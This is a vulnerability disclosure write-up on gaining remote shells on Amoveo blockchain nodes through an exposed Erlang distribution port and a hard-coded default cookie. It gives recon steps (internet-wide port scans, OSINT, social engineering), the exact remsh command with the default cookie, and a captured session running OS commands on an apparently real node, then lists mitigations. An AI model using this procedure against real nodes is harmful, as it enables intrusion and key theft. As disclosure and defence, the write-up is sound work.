Amoveo blockchain RCE via erlang distribution port

What is Amoveo?

Amoveo is a blockchain meant for enforcement of investment and insurance contracts, created by Zack Hess. It can be compared to decentralised prediction markets such as Augur and Gnosis.

Erlang distributed computing

Amoveo node is written in Erlang (however you can use light node without running node, which is relevant for impact of this vulnerability). Erlang applications use epmd (Erlang Port Mapper Daemonepmd) daemon as a nameserver in distributed Erlang computations. By default it listens on 0.0.0.0:4369 and accepts messages both localhost and remote hosts.

This is a great article to learn more about distributed computing in Erlang.

Erlang provides REPL shell, similiar to scripting languages like Python or Ruby and because of Erlang distributed nature it allows to start a REPL on a remote Erlang node - remsh. You can read more about remsh security here.

erl -setcookie secret_cookie -remsh erl@someserver.com -name me@localhost

Given that you can run arbitrary commands, e.g.

os:cmd('uname -a').

To connect to the remote node you need to know:

  • IP address
  • system hostname (of course it’s not necessairly its DNS domain name)
  • Erlang node name
  • secret cookie

So how can we gather these informations to access Amoveo nodes?

IP address

  • you can scan whole internet for open port 4369, you will find number of other applications running epmd (CoachDB, RabbitMQ among most common), so you can filter them down by using epmd-info nmap script.
  • target known amoveo servers (mining pools, explorers, nodes from https://veoscan.io/ etc.)
  • get list of connected Amoveo peers - run peers:all(). from node shell 1

Erlang node name

EPMD Cookie

Local hostname Otherwise epmd will fail at authorization. I simply mapped updated /etc/hosts with ips and guessed hostnames.

  • Use nmap -sL <ip>
  • OSINT using Google, Github (found hostname of mining pool there), Telegram (found many hostnames there), Discord, reddit etc.
  • Social engineering: simply ask under some random justification
  • it’s also possible to bruteforce significant number of hostnames

Impact

Ability to run arbitrary commands on target machine, although does not directly affects using only light nodes, but still, light nodes connect to full nodes and compromised node can spoof some informations.

  • steal Amoveo keys
  • hijack mining pools
  • indirectly attack ligting wallets by providing false data
  • mine Monero
  • attack personal computers if someone is running node locally
root@attacker_server:~# erl -setcookie amoveo_core_cookie -sname kyoto -remsh amoveo_core_prod@ubuntu-512mb-fra1-01 -hidden
Erlang/OTP 18 [erts-7.3] [source] [64-bit] [async-threads:10] [hipe] [kernel-poll:false]

Eshell V7.3  (abort with ^G)
(amoveo_core_prod@ubuntu-512mb-fra1-01)1> node().
'amoveo_core_prod@ubuntu-512mb-fra1-01'

(amoveo_core_prod@ubuntu-512mb-fra1-01)2> os:type().
{unix,linux}

(amoveo_core_prod@ubuntu-512mb-fra1-01)4> os:cmd('id').
"uid=1000(zack) gid=1000(zack) groups=1000(zack)\n"

(amoveo_core_prod@ubuntu-512mb-fra1-01)7> os:cmd('uptime').
" 09:30:17 up 227 days, 19:08,  0 users,  load average: 0.00, 0.00, 0.00\n"

(amoveo_core_prod@ubuntu-512mb-fra1-01)8>
BREAK: (a)bort (c)ontinue (p)roc info (i)nfo (l)oaded
       (v)ersion (k)ill (D)b-tables (d)istribution

Mitigations

  • Predefined cookie has been removed from settings, so it’s generated by epmd on start and stored in ~/.erlang.cookie.
  • Firewall epmd port (4369 by default)

Further research


  1. amoveo/docs/getting-started/sync.md ↩︎